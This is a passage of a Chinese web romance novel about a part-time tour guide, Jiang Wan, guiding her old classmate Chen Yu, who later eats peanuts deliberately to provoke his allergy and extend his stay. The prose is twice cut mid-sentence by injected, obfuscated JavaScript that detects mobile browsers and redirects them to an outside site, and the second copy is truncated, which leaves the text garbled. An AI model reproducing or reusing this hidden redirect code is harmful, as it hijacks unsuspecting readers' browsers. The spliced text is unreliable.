眼见着他俩就要吵起来,姜挽忙出来打圆场:“没关系的,这些都是导游的职责,我完全可以介绍。”别说介绍了,就是来回重复好几遍,说到嗓子冒烟的情况,她之前都经历过。 “我说过了,可以在手机里查,谁要是想知道的话,动动手指就能查到,不会被累死。” 陈屿很坚持,说这话时,眼神透过前面的后视镜落在姜挽脸上。 姜挽仿佛有感应般,也抬头看向后视镜,一刹那,两人视线相对,这是自从上车之后,他们两人的第一次对视。 陈屿的眼神很复杂,坚持,隐忍,似乎还有一些她看不懂的东西。 姜挽没敢再看,迅速移开视线,像雨水打湿蜻蜓翅膀那般,短短几秒时间,便迅速结束了这个轻且短的对视。 她轻咳了下,开始整理自己的思绪,虽说和他们认识,可今天她是导游,她是在工作,就该拿出专业的工作态度出来:“要不,你们二位再商量商量?” “不用商量了,我不听了。”孟云程大喇喇开口,原本他还不懂陈屿突然的这是发哪门子火,可刚才看到他从后视镜里偷看姜挽后,瞬间便明白了。 他或许把姜挽当导游了,但陈屿绝对没有。 也对,怪他心太大,一时没考虑到这些,凭心而论,要是尤伽做兼职,这种情况下,他也会有私心的。 可虽想通了,面子上还是有点挂不住,嘟嘟囔囔地,他开始小声骂陈屿:“真是闷骚!就没见过谁比你还闷骚的!” 陈屿听到了,完全不打算搭理他,倒是姜挽听得一知半解,还以为他有其他的要求,忙开口:“没事,今天我就是你俩的专属导游,有什么事直接和我说就行。” “那要是有人闷骚的话,你能帮忙治吗?” 果然,陈屿在听到这句后,脸色变了。 姜挽则是一脸懵:“这……和我们今天的行程有什么关系吗?” “算了,没事,”孟云程倒是先把自己逗笑了,“我想知道还差多长时间可以到?” “快了,还有半个小时。” 没多久,他们便到达城南码头。越临近目的地,人越多。由这里去城南岛,还需要乘坐一段轮渡。 看着窗外摩肩接踵的人群,姜挽拿上手机,准备下车:“你们先在车里等我,我去买票,很快回来。” 孟云程刚想说好,陈屿已经推开他那侧的车门,跟着姜挽下去了:“我和你一起。” 等他反应过来,车里已经只剩他和司机了,这样看,倒像是陈屿和姜挽都是工作人员,他一个人是来旅游的了。 他刚在想要不和他们一起去算了,可只隔窗看了一眼外面的人群和天气,立马便被吓退了。 姜挽也想到陈屿会跟着她一起下来,人太多,要是她一个人走,可能还快点,现在多了他,姜挽每一步都得三回头,生怕把他丢下了。 在数不清多少次被她提醒“小心”后,陈屿也有点不好意思了,他下车本来是打算保护她的,却没想到这一路尽被她保护了。 性别颠倒,角色对换,她照顾得越周到,问得越多,陈屿就越觉得不自在。 好不容易来到售票大厅,两人的额头和鼻尖都冒出了一层细汗,而且中途陈屿甚至还被踩了好几脚。 姜挽是没关系,她干这个习惯了,被晒出和出汗也都是日常,只是可怜了陈屿,估计和他以往养尊处优的生活相比,怕是从没这么狼狈过。 “还挺热的吧,”她有点不好意思,从背包里拿出纸巾递给他,“你应该在车里等我的。” “谢谢,”陈屿接过,却不提在车里等她的事儿,“你每天的工作都是这样吗?” “差不多吧,一到冬天来这里旅游的人就特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448283|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别多,今天还算可以了,比这更多,更挤的情况我都遇到过。” 说这些话时,她身上有一股鲜活劲儿,还有微微弯起来的眼睛,那是很长一段时间,陈屿都只能在梦里才能见到的场景。 因着这个原因,这原本在他看来有些辛苦的工作,此刻也没那么难以接受了,因为他能感觉到她是真的开心。 买票的人虽然多,可因为开设的窗口也多,很快便轮到他们了。报了数量和仓位级别,姜挽刚打算掏出手机扫码,身后却突然有一只胳膊伸过来,越过她的肩膀,快速扫了窗口的二维码:“我来。” 距离拉近,他的胳膊不小心碰到她的肩膀,微微一缕淡香刺破夏日的炎热,姜挽顿觉靠近他的那侧脸颊热得厉害。 情绪可以隐藏,言语也可以撒谎,可身体的反应从不骗人。过了这么长时间,即便只是这么一个似有若无的接触,姜挽还是轻易地就破防了。 可理智告诉她,什么都不能多想,一切本该就是一场梦。譬如他来江城,譬如此刻和他的相遇。回到北城,一切就都会回到原点。 短短几秒,她迅速收回思绪:“还是我来吧,这个钱旅行社可以报销的。” “没事。”最后,陈屿还是抢在她前面付了款。 姜挽也没再纠结:“那也行,晚点我和旅行社说清楚,让他们再把这笔钱退给你。” 陈屿虽心里不想,可嘴上也没再说什么。毕竟以当前的这种局面来看,他确实没什么立场帮她付钱。更重要的是,他不想她再有压力了。 买完票,他们回去找孟云程,三人再一起登上轮渡。因为他们买的是主甲板仓位,所以行驶过程中可以自由地来到甲板欣赏美景。 孟云程忙着拍照,陈屿则是安静地待在姜挽身边。海风吹来,她的上衣被吹得“啪啪响”,连带着发丝的起舞,美丽又自由。 “风大,小心吹得头疼。”陈屿提醒她。 姜挽却不在乎:“没关系,头疼和这么漂亮的美景比起来又算得了什么。” 她很直接,也很鲜活,娇俏又明媚,和以往陈屿在北城见到的那个她完全不一样。陈屿不会去纠结到底哪个才是真正的她,他只知道两个他都喜欢。只要是她,他就喜欢。 心底被这样温柔的感情充斥着,陈屿一不小心就说出了越矩的话:“看了那么多次,还没看够么?” 还好,姜挽并没有在意:“这其实是我第一次从这个角度欣赏城南岛。” 一瞬间,陈屿默然,做了那么多次导游,这竟然是她第一次站在这个仓位。 心底隐秘的情谊又开始泛滥了,可他必须得控制:“那你再看一会儿,我去那边休息一下。” “好的,你去吧,有事叫我哦。” 退开几步,找了一个合适的位置,在她看不见的地方,陈屿快速抓拍了一张照片。 大海,蓝天,还要阳光下迎风站着的少女,这是她的美好回忆,他都会帮她记录下来。 38. 第 38 章 到了岛上,姜挽先把一整天的大致安排和他们说了下,然后询问他们有没有最想体验的项目,要是有的话,可以先去体验。 陈屿和孟云程都一致表示没有,按她的计划就行。 “那我们就先参观岛上的风景和建筑——” 城南岛地势起伏,四面环海,因为水汽和海风的原因,这里的温度比江城市区低了些许,但植物基本一致。棕榈树和三角梅随处可见,偶尔还能看见枝叶茂绿的椰子树下,坐着三三两两端着椰子汁,笑谈相饮的游客。 至于“城南”二字的由来,说起来还有那么点故事,但也只可当传言听听,具体的真实性还有待考究。 据说明朝时,曾有位将军逃难至此,身负重伤,被此地的渔民所救。将军后来恢复后,为了感谢此渔民,特意问了他的姓名。得知对方名字为“城南”后,便像圣上请旨将此岛更名为“城南岛”,同时还为渔民修建了一座寺庙,也就是如今的“城南寺”。 当然这只是传言,也有很大一部分学者认为之所以会叫“城南”二字,则单纯就是因为这里的地理位置,位于江城最南端。 三人一路走,姜挽一路和他们介绍,孟云程明显对那个传言更感兴趣:“那现在城南寺里还能有关于那位渔民和将军的史料吗?” “没有。” “那现在城南寺供奉的是?”这次开口的是陈屿。 “佛教。” 陈屿点头:“那这个故事确实很有可能只是传言了。” 姜挽和他的想法差不多:“我也觉得这种可能性更大。” 几人正说着话,突然有几只翅膀上带着白色斑点的蝴蝶从他们眼前飞过,来到江城的这几日,陈屿经常会看到这种蝴蝶,他只不过多看了两眼,姜挽便立刻做了解释。 “这种叫玉牙凤蝶,国内能见到的地方不多,不过在我们这里倒是挺常见的。最特别的地方就是它翅膀上有白色新月斑,喜欢在花上,或者潮湿的地上,所以你们接下来可能会见的多一点。” “还挺漂亮的。”她说完,孟云程盯着看了一会儿。 “可别被它们的外表迷惑了,”姜挽补充道,“因为它们的幼虫经常会以植物的叶子为食,也包括一些农作物,所以很多时候它们也会被归类为害虫。” “原来如此。”孟云程一副受教了的表情,虽然他知道陈屿讨厌他把姜挽当成导游,可他心底里还是觉得,姜挽这导游还真的挺称职的。 热情积极不抱怨,懂得还多。 专门找了个陈屿看不到的角度,他朝姜挽竖大拇指:“你知道的真多!不愧是导游!” 姜挽虽不知他为何要避着陈屿,但暂且也就把他这当作是对她工作的认可了,于是也快速地回了一个“谢谢”。 在岛上逛了一圈,自然景色看得差不多了,姜挽又带他们去了打卡景点一趟。什么书店,博物馆,以及各个教堂和小巷的都去了,一趟下来,差不多也到吃饭的时间点了。 询问了他们的意见后,姜挽带着他们来到了岛上排名第一的那家海鲜餐厅。因为钱花得到位,他们直接被安排在了VIP区域。既能悠闲地享用午餐,还能透过窗户看海景,好不惬意。 午餐也是以当地的食材为主,就地取材,主打一个新鲜纯正。鸡,虾,蟹自然是主菜,还有炖得软烂的椰子盅,尝一口椰香浓郁,沁人心脾。 吃完饭从餐厅出来,恰巧碰上有人在骑摩托艇,孟云程顿时来了兴趣。其实这个项目也在他们今天的计划里,只是时间安排靠后了些,不过既然他提出来了,一切就都可以现场调整。 交完钱,穿好装备,姜挽又叮嘱了他们一些注意事项后,便打算先找个能休息的地方等着。可没想到刚一转身,便听到周围一阵阵惊呼—— “我靠,快看有帅哥!” “还真是,看看那大长腿,都快到我胸了!” “别光看腿呀,你看脸,那才叫一个帅!” …… 此起彼伏的,全是女生的惊叹声,同时还有她们聚集过来的身影。顺着她们的视线看过去,姜挽也是一怔。 刚才她只顾叮嘱他们注意事项,这会儿放松下来看过去,才发现他俩是真的帅。肩宽腿长,身材挺拔,在一众朴实无华甚至稍显臃肿的人群里,显得格外出类拔萃。 尤其是陈屿,黑色护目镜和防护服的搭配,不仅没有削弱半分他的气质,反而还增添了几分酷帅。 人越聚越多,姜挽原本离他们是最近的,现在反而被挤了出来,她干脆退远了点,只要能看见他们就行,反正她也是打算休息的。 很快,不远处的水域传来一阵引擎的轰鸣声,接着好几辆摩托艇同时起步,犹如离弦的箭一般迅速冲向了大海。 这个项目一开始是孟云程提出来的,陈屿只是被动接受,姜挽还以为他是去陪孟云程的,可这会儿再看,却发现他真是骑得熟练,海上那么多辆,偏偏视线落在他身上时,就再也挪不开了。 加速,超越,冲刺! 随着他的不同动作,摩托艇在水上掀起一尾又一尾的浪花,还有各种“直行回转”和“迎风破浪”的玩法。说实话,姜挽在城南岛兼职这么多年,见其他人玩的次数不少,但能玩到陈屿这种程度的,老实说,还真没有几个。 浪花掀落,掌声呐喊声此起彼伏。 “真他妈帅!看见没,就那个,最帅的那个,我一会儿一定要和他表白,要加上他的微信!” “哈哈,那你可得加油了,因为我也看上他了。” “你怎么什么都要和我抢?” “是我和你抢吗?你往周围看看,这里的哪个女生不是打算和你抢?” …… 因为有两个女生离她比较近,所以她们之间的对话,姜挽一直都能听到。确实,即便她已经认识陈屿这么长时间了,还是不可抑制地会觉得心跳加速,就更别提这些第一次看见他的女生了。 他好像一直都是如此,轻而易举地就能吸引到其他人的目光,站在人群的峥嵘处。不过这样也好,那么多比她好的,他一定很快就能遇到新的。 半个小时左右,陈屿和孟云程从海里回来了,他们刚一上岸,便立马有女生围了上去,隔得远,姜挽听不清她们的对话,但猜想应该是在找他要微信或者电话之类的。 她原本应该第一时间过去的,可又不想这么没礼貌地打断她们,想着他们处理完这些事情,怎么着也得十几分钟吧,于是便拿着东西在旁边安静等着。 但很快,不到一分钟吧,陈屿便拂开人群,朝她走了过来。头发上还有水,他抬手撸了一把,几滴落在鼻梁和下巴处,阳光下,更衬得他五官精致又锐利,似乎还带着一点点……不悦? 游客的情绪和体验,就是姜挽此刻的头等大事,她忙跑过去,开口询问:“怎么了?是不是刚才的项目出问题了?还是说有什么地方让你不满意了?有什么不满意的你和我说,我现在就去帮你们协调解决。” “项目挺好的,就是人多了点。” “人多?”姜挽回想刚才他们起步时的场景,“好像是有几辆,不过这已经是这里最小的规模了,要是你还觉得人多的话,我后面可以和旅行社反应一下,看看有没有补偿方案。” “我指的不是这个。”陈屿叹一口气,在这方面,她之前就经常不明白他的意思,更别说现在还想和他撇清关系了,肯定就更不在乎了。 他指了指此时仍被几个女生围着的孟云程:“是这些。” “啊,哦,”姜挽终于反应过来,“可是我觉得……”话说一半,她又噤了声。她原本想说她们也没有别的意思,况且,多认识几个朋友也不是坏事。可是这些话,以她现在的导游身份似乎并不大适合说。 “觉得什么?”陈屿却追问,他音色沉,眼睫垂着,落在她身上,像是在和她说,又好像并没有,“我是说过以后都不会再打扰你,但并不代表我就能接受其他人。” 一瞬间,姜挽的心停跳,接着便是剧烈地搏动,她不知该如何接他这句话,更不知该作何反应。 突然,不远处传来阵阵咕鸣,是不知名的水鸟在叫,打破了这沉默的氛围。 姜挽回神,趁机将手里的东西递给他:“抱歉,你先帮我拿一下,我去把孟云程带过来,我们还有接下来的行程要进行。” 她在逃避,陈屿接过,没多说什么:“去吧。” 孟云程回来后,先是兴奋地分享了一番刚才开摩托艇的体验,继而便开始抱怨太热太累,听到姜挽说接下来还有行程后,当即便开始摆烂:“算了,我不去了,我今天的电量已经耗完了,得回酒店充电。” 经过刚才的事情,陈屿的兴致也不怎么高了:“那就回去吧。” 姜挽还是第一次遇到这种游客中途放弃的情况,但旅行途中全程要以游客的第一意愿为主,这是她们的工作准则:“那行,那我准备一下,我们现在就回去。” 回去的一路,比上午来时人还要多,除了和他们一样离开的游客外,还有这会儿才赶过去的。所以一路走走停停,到酒店时已经差不多五点多了。 将他们安顿好后,姜挽打算离开,孟云程却突然开口:“留下来一起吃了晚饭再走吧,陈屿会请客的。” “不用了,”姜挽连忙拒绝,她起身开始收拾东西,“没有导游和游客一起吃饭的先例。” “刚才你是导游,可现在工作结束了,我们就是同学关系,同学见面,一起吃顿饭再正常不过了吧。” 这理由姜挽没办法正面拒绝,只得从其他方面开口:“我晚上还有其他的事要做,怕是没时间。” “事情要做,晚饭也是要吃的,吃完再做也来得及。” 这来来回回的,全是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜挽默默看着这经过加工的菜名,意识到就算让她点,她也是点不出来的。虽然她自小生活在江城,可这十几年来接触的生活,打转的圈子,也一直都是最普通的那一层。像这种奢华的,高档的,一直离她都很远。 虾籽烧海参,鱼子酱配雪花牛肉,香煎金蚝皇,秘制腌膏蟹,冰焯象拔蚌…… 陈屿点了整整一桌,他们三个人从菜上来,就再没放下过筷子。几口下肚,姜挽感叹,果然不愧是江城排名第一的餐厅,每一道菜基本都好吃,精致,细腻,滑嫩,咽下去还有一股唇齿留香的感觉。 吃的差不多了,孟云程才开口,今晚一定要让姜挽一起来吃饭,是因为有件事想拜托她。 “什么事,你直说吧。”姜挽很爽快。 “我想麻烦你不要把在江城见到我和陈屿的事告诉尤伽,因为她不知道我们过来,我怕她知道后会骂我们故意来麻烦你。”说着,孟云程喝一口酒,顿了下,“而且我们当时确实是打算来度假的,也没有想到会在这里遇上你。” 他说完这些,姜挽的第一反应是去看陈屿,他也正看着她,只是眼底眸色深沉,看不出来他此刻在想什么。 其实她一开始遇上他们的时候也不是没有想过这些,毕竟这么大的城市偏偏就能和他们遇上,也真是巧合了。 可现在看来还真就是巧合。 “你放心吧,我不会告诉她的。” “那就好,感谢!”孟云程朝她敬酒,端起杯才意识到姜挽不喝酒,于是他又把酒杯举向陈屿,“感谢,感谢,敬你也是一样的。” 陈屿一顿饭都没怎么喝,这会儿倒是端起来和他碰了下。 考虑到姜挽晚上回去还有其他的事情,他们这顿饭吃得很快,吃完便各自散了,陈屿和孟云程回酒店,姜挽则是回家。 进了房间,陈屿第一件事便是给旅行社去了一个电话,对方很真诚,还以为他是要询问关于今天的兼职导游打折的事情,便率先给出了一个非常优惠的折扣。 哪知陈屿却拒绝了:“不用打折,今天的导游很专业,也很负责,她值得这份工资。另外,今天我买了几张轮渡票,如果她后续和你们反应,请不要把这笔钱退给我,以奖金的形式发给她就行,但不要说是我要求的。” 旅行社经常会遇到这种游客匿名表扬导游的情况,所以他们也没多想,只是秉着认真工作的原则:“感谢您对我们导游的支持,和对我们旅行社的支持,能让您满意,是我们最大的动力。” “我还有一个要求。”陈屿稍回过头,眼神落向窗外的夜色。 “您请讲。” “明天是我在江城的最后一天,我还想让今天的这个导游负责我的行程。” 对方大概没想到他会提这个要求,稍愣了下:“陈先生,鉴于您在我们旅行社预付的押金数额,我们完全可以推荐更专业的全职导游来接待您,今天这种情况只是因为……” 陈屿打断她,很坚持:“抱歉,请帮我继续安排今天的姜小姐,她要是有其他的行程,我可以加钱。” 对方听出了他的决心,没再劝:“好的,请您稍等,我帮你看下她明天的行程安排。” 过了没多久,也就一两分钟吧,对方再次开口:“可以的,明天姜小姐刚好有时间。” 陈屿收回视线,离开窗边:“好的,谢谢。” “不客气,祝您旅游愉快,晚安。” 39. 第 39 章 第二天醒来,孟云程一听今天还要出门,当即便不愿意了,干脆重新躺回床上:“这都最后一天了,你就不能消停会儿吗?大热天的,在酒店睡觉打游戏多舒服啊,非得跑出去晒太阳。” 陈屿没接他这茬,只是和他确认:“那你是不去了?” “不去。”孟云程很干脆。 “那行,你在酒店待着吧。” 孟云程看着他开始收拾东西,一会儿往背包里装瓶水,一会儿又塞了一把遮阳伞,最后甚至还放了不少的零食进去,觉得很奇怪,这完全就不是他的风格。 孟云程开口问他:“你今天是一个人去吗?” 陈屿正忙着清点东西,没搭理他。可孟云程在这方面,一向就仿佛装了雷达一般,总能精准地定位:“你该不会是和姜挽一起吧?”不然也犯不着准备得这么仔细啊。 被猜中了,陈屿有点尴尬,手上的动作顿了一下,继而继续装作很忙碌的样子:“你不是不去吗?问这么多干嘛。” “怎么,问问都不行啊?”他这样,孟云程便知道自己猜对了。他从床上起来,绕着陈屿走了两圈,“你小子真是……” 贼心不死,锲而不舍,他想说。可一想,也挺佩服他的。 “旅行社昨天不是说是临时安排她过来的吗?你和他们说了什么?竟然今天也安排她了?” “没说什么,正常表达需求,”陈屿看一眼时间,打算走了,离开前,他最后一次和孟云程确认,“你确定不去了?” “当然确定,”孟云程头摇得如拨浪鼓一般,“本来我就不想去,现在就更不会去了,去了不就成电灯泡了。” “我说过了,我这次来……” “你这次来就是为了看看她生活的地方,没想过打扰她,”孟云程接他的话,“这话你都说过八百遍了,你放心,我理解,并尊重。只是这种情况下你们都能碰上,真是有缘分。” 孟云程收起他那副纨绔的样子,难得正经:“见想见的人,做想做的事,人生能有几次这样的恣意,兄弟,我绝对支持你。” 从他嘴里说出这种颇具哲理性的话,陈屿觉得非常不适应,略显疑惑地看着他。 孟云程也感觉到了:“怎么,我就不能偶尔说两句有哲理的话吗?瞧不起谁呢?” “行吧。”陈屿背上包,打算走,突然,孟云程再次开口:“对了,你们玩归玩,记得回来给我带晚饭啊,中午我就在酒店凑合一顿算了,晚饭你得帮我解决。” 陈屿看他一眼,算是应下了,这才是他认识的那个孟云程。 姜挽看到陈屿一个人出现的时候,也有点纳闷,她还以为孟云程是耽误了,特意往陈屿身后看了两眼,结果盯了许久,也没看到孟云程的身影,反而是等来了陈屿不咸不淡的一句:“别看了,今天他不去,就我一个人。” 被发现了,姜挽收回视线,有点尴尬。 本来昨天晚上被告知今天还需要带他们时,姜挽觉得还可以,而且还当场就答应了下来。因为白日里一直都是他们三个人一起,孟云程一路话也多,基本不会出现冷场的情况。反正怎么着都要带人,相对而言,年轻人肯定更好相处。 可现在倒好,孟云程不去,就只剩她和陈屿了,她难免有些尴尬。 之前发生的那些事,虽然他俩谁都没提,可没提,并不代表不存在,也不代表会忘记。 “孟云程确定不去了吗?要不我们再等等他?”她尝试开口,想看看还有没有挽回的余地,“毕竟你们登记的信息是两个人。” 陈屿饶有兴致地看着她:“怎么,登记两个人,一个人出行,这种情况,你们旅行社不允许吗?” “当然不是,”姜挽摇头,忙开始找补,“我只是觉得你们花了两个人的钱,要是只去一个人的话,有点亏了。” “他嫌热嫌累,不想去。”陈屿看着她,给出了真实的理由。 回想昨天孟云程的表现,姜挽觉得他说的应该是实话,事已至此,多说无益,她只能接受当前的现状,尽快拿出自己的专业态度:“好的,那你今天想去哪里?我做了一个计划表,要不先给你……” “不用,”陈屿打断她,“就去昨天没去的城南寺就行。” “但城南寺景点不多,应该玩不了一天。”姜挽提醒他。 “那就到时候再看。” “好。” 他们今天出门比昨天早,路上也没昨天那么堵,所以到达城南寺时,人还不算多。 江城地势起伏,城南寺又恰巧在海拔高的那块儿,所以,理论上而言虽比不得那些山地高原的陡峭地形,可在这种天气下爬山,总归还是有点辛苦的。 一开始,姜挽基本还能跟上他的速度,可过一半,便觉得不行了。这条路,这座山,她也不是第一次来,之前跟着其他游客都还好,也没有拖过后腿,和他这是唯一的一次,只能说,陈屿的体力实在是太好了。 怕耽误他的行程,姜挽提出建议:“要不你先上去,在山顶等我,我稍微休息一下马上就走,这样就不会耽误你的时间,你也可以在上面多待一会儿。” 她说了一大堆,陈屿却没听,而是直接来到她旁边,打开了背包,从里面拿出水和零食递给她:“也不在乎这点时间。” 姜挽本来不想接的,可她因为提前不知道今天陈屿要来城南寺,所以水和食物都准备得不够,刚才过来的一路,早喝完了。 这会儿看着他递过来的水和面包,也没什么坚持的底气:“谢谢。” 趁着她吃东西,陈屿又把早上出门时装的那把遮阳伞拿了出来,伞面撑开,头顶立时投下一片阴凉,姜挽感叹:“你准备还挺充分的,你平时出门就带这么多东西吗?” “嗯。”陈屿囫囵应一句,像是不想多聊,只默默在旁边当一个“撑伞工”。 姜挽哪好意思让他一直帮忙撑着,吃完东西,恢复体力后,便这次和他一起启程。 这次,他们一次性到达了山顶。 城南寺面积很大,基本覆盖了整个山顶。红墙金瓦,飞檐脊兽,刚靠近,便立觉一股庄严肃穆的氛围。 禅院,青石小路,还有长廊,他们跟着人流走,很快便来到大雄宝殿,隔着缭绕的香火,能听到殿内传来的阵阵诵经声。 “一起进去吗?”陈屿问她。 “好。”姜挽答得干脆。 其实,这并不是她第一次来这里,以往和其他游客一起时,她也基本都是在殿外等。可这次不同,因为是和陈屿一起来的,因为身边的人是他,所以,她才想要一起去。 点香,高举,供奉。 神佛之下,蒲团之上,他们二人皆手心向上,虔诚祈祷。 就这样吧,陈屿想,就和她保持着如今这种关系,来日方长,终有一天,他能守得月明。 就这样吧,姜挽想,就和他保持着如今这种关系,时间隐逝,终有一天,他会找到属于自己的幸福。 从大殿出来,他们二人心照不宣地谁也没问刚才许愿的事情。 “现在你想去哪?”姜挽率先开口。 “附近随便逛逛吧。”陈屿答。 “好。” 附近的景点虽不多,但胜在自然风景好,经常有游客逛完城南寺后会再次溜达,所以时间长了,姜挽倒是也知道几处清雅幽静的地方。 只是,她发现,全程陈屿对风景的兴趣并不大,无论她介绍什么,他都是简短回答,反倒是对他的相机爱不释手。 不管什么时候她去看他,他都在拍照。好几次姜挽回头的时候还发现摄像头正对着她,于是连忙躲开。 陈屿这么认真,倒是让她对他拍的照片产生了兴趣:“我能不能看看你都拍了什么?” 她刚靠近,陈屿便立马将相机举高:“没什么好看的,都是一些普通的景色。” “好吧。”姜挽退后两步,没再继续,本来她也就是随口一问。 后面陈屿再拍照,姜挽就没再问了,只不过时常会被框进他的镜头里。一开始姜挽还担心影响到他的构图,来回切换站位,后面见他也不怎么在意,而且来回走确实是麻烦,索性也就不动了,由着他调整。 等他们把附近的景点逛完,时间也差不多了,本来按计划是应该先送陈屿回酒店的,可他说饿了,想吃完饭再回去。姜挽一想觉得也是,他们的午餐本来就是随便解决的,这个点早该饿了,于是便在附近找了一家类似于农家乐的饭店。 “这家可以吗?”她把手机递给他。 陈屿快速瞥一眼,对这些比较随意:“你决定就行。” 因为同属江城,所以这家店的菜其实和他们前几天吃的差不多,只是因为位于山脚,地理位置优势,多了几道特色小菜。 其中有一道凉菜,刚端上来的时候,陈屿盯着多看了两眼。他这个人对食物一向都比较寡淡,极少出现对哪道菜如此感兴趣的情况。姜挽以为他喜欢,便将餐盘朝他那边挪了挪:“我们这里的特色菜,尝尝看,很好吃的。” 陈屿没动手夹,而是指着其中那些裹着一层白色的酱,且不大分辨的出本身食材的颗粒,问姜挽:“这是花生?” “是啊,”姜挽说着,夹了一颗,“我们这边比较特别的做法,你可以尝尝看。” 话音落,她见陈屿还是没有动筷,不禁觉得有些奇怪:“怎么了,你不吃花生吗?要是不吃的话,我把它……” “没事,”陈屿打断她,挑了下眉,“没什么不可以的。” 一顿饭,他们吃的很快,两人的话都不多,只是在聊到他和孟云程明天会离开江城的时候,姜挽愣了一下。 她觉得时间过得好快,可仔细一想,去一个地方旅游,可不就是三四天嘛。 因为这个原因,今晚这顿饭姜挽坚持要请他,就当是给他们践行。 她原本还以为陈屿会和她拉扯,已经准备了不少的说辞,可没想到这次他却出奇得反常,很爽快便答应了,就连帮孟云程打包的那份,陈屿也让她一起付了。 从饭店出来,天已经黑了,月亮从树梢里探出头来,照得脚下的石板路一片方亮。 姜挽和陈屿原本是并排走的,可走着走着陈屿却突然掉队了,姜挽回头去看,才发现他正拿着摄 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这些照片中,其中有一张关于影子的,陈屿最喜欢。那会儿他们刚从饭店出来,头顶月色正浓,光影下,两人的影子挨得很近。陈屿故意走慢几步,在两人的影子重叠,乍一看像是拥抱在一起时,迅速按了快门。 他看得入迷,孟云程对他的回答显然不满意,吃了几口菜之后又来追问:“什么叫还行呀,我特意给你们制造的机会,你就这么敷衍我?从早到晚,一整天的时间,就你们两人独处,真的没有发生点什么?” “你想多了,我说过的,不会打扰她。” “你这话留着骗鬼去吧,你要是真想断,今天还联系人家干嘛,干脆就和我一样在酒店躺一天,明天直接回去,索性清净自在。” 陈屿并不想在这个话题上和他争辩,恰巧相机没电了,他从沙发上起身:“你慢慢吃,我先回房间了。”走了两步,他又再次回身,“对了,你今晚别睡太死了,我可能会找你帮忙。” “帮什么忙啊,现在不行吗,非得半夜折腾人。” “现在还用不着。” 孟云程看着他的背影,开始念叨:“神神秘秘的,我看一碰上姜挽,你就变得不正常了。” 陈屿回到房间先洗澡,然后躺在床上开始一张张翻着相机里的照片,窗外月影婆娑,室内指针摇摆,而他却像是没什么困意似的,来来回回翻看着。准确来说,他像是在等待着什么。 凌晨一点的时候,那感觉终于来了。 他先是觉得脸上和胳膊痒,手一碰,能摸到大大小小的疹子。接着便是胃肠道的反应,恶心呕吐,甚至还伴随着腹痛。 一般人要是遇到这种情况早吓死了,可陈屿却异常平静,甚至还能淡定地拿出手机给孟云程打电话。 电话那头接得很慢,一接起,就是孟云程迷迷糊糊的声音:“什么事?” “我过敏了,你来我房间一趟,带我去医院。” “什么?”电话里传来一阵呼啦啦的声音,应该是孟云程起床了,“我马上过去。” 孟云程的动作很快,出现在陈屿门口的时候,不过才过了一分钟而已。 他头发凌乱,睡眼惺忪,睡衣也皱皱巴巴的,很明显是从床上刚爬起来,一看见陈屿脸上和身上的红疹,顿时炸毛了:“怎么过敏得这么厉害,你今天吃了什么?” 和他比,陈屿倒显得像没事人似的,慢吞吞地收拾东西,声音也不紧不慢的:“不记得了。” “不记得?”陈屿一副不敢置信的样子,开始自顾自念叨,“我记得你只对花生过敏,”说到这,他突然想起来,“晚上你给我打包回来的饭菜里面就有花生,你不会也吃了吧?” 陈屿没回答,但也没反驳,孟云程当场跳脚:“你对花生过敏,不能吃这个,你不知道吗?!” “不记得了。”陈屿还是那句话。 这可把孟云程气得够呛:“吃了什么你不记得,对花生过敏你也不记得,那你说,你还能记得什么?怕是你脑袋里现在满满当当的就只有‘姜挽’两个字了吧。” 陈屿被他吵得头疼,身体也实在难受:“你再这么念叨,不送我去医院的话,我怕是要挂在这了。” “你现在知道怕了,吃花生的时候怎么不记得?” 孟云程嘴上埋怨得厉害,可实际还是担心他,一手拿着陈屿的包,一手搀着他就要走。 走到门口,他突然顿住,像是发现了什么,和陈屿确认:“你这次过敏,不会是故意的吧?”顺着这个思路,他继续开口,“故意过敏,然后就有理由留下来,可以在江城再多待一段时间了?” 虽然陈屿很不想承认,可事实确实如此,但他不会承认,而是狡猾地跳过了这个话题:“你也看到了,我现在这样,明天肯定是没办法回北城了。” “陈屿!”孟云程真是有点控制不住了,吼得声音震天响,“我真是不知道该怎么说你了!” 经过其他房间时,突然传来摔门声,提醒他们声音小一点,孟云程不得不压低声音:“你真是没救了!” 40. 第 40 章 次日,姜挽给陈屿打了一个电话,本意是想询问他们几点的飞机,是否需要安排送机服务。可直到嘟声结束,自动挂机,电话也没接通。而且一连两个都是这种情况,姜挽很担心。 于是她换了孟云程的电话,这次倒是很快便接通了,只是电话那头的声音听起来很疲惫,像是一宿没睡:“喂,怎么了?” 姜挽开门见山:“你们去机场了吗?我打陈屿的电话没人接,他和你在一起吗?” “在,我们在一起,还在酒店,”孟云程边说,边打哈欠,“航班改签了,我中午再走。” 从他这句话,姜挽听出了点端倪:“你一个人走吗?陈屿不和你一起?” “他倒是想,只是身体不允许,现在正在酒店睡觉呢,估计刚才也是因为这个原因才没接到你的电话。” “身体不允许?”姜挽立马紧张起来,“他怎么了?” “过敏了。”孟云程叹一口气。 “过敏?严重吗?是因为吃的东西?还是碰到了什么?可昨天他一整天都和我在一起,我没发现他有什么不正常啊。” 她这一连串的问题问得孟云程心累,而且看这种情况,陈屿应该是什么都没和她说,孟云程也不好多嘴:“还挺严重的,这事比较复杂,一句两句的也说不清,你要是方便的话,还是来酒店看一下他吧。” “好,我马上到。” 挂了电话,孟云程去了陈屿的房间,他正躺在床上睡觉,身体微微蜷缩,应该是很难受。 “怎么样?好点了吗?”孟云程叫他。 “还行。”陈屿的回答没什么力气。 “你要是没什么大碍的话,我等会儿就走了。” “没事,你走吧。” 桌上“窸窸窣窣”一阵响,是孟云程在帮他弄药,弄好后,他端过来给陈屿:“这个药,一天三次,一次一片,别忘了。” 陈屿接过:“谢了。” “对了,刚才姜挽给我打电话了,说联系不上你。” 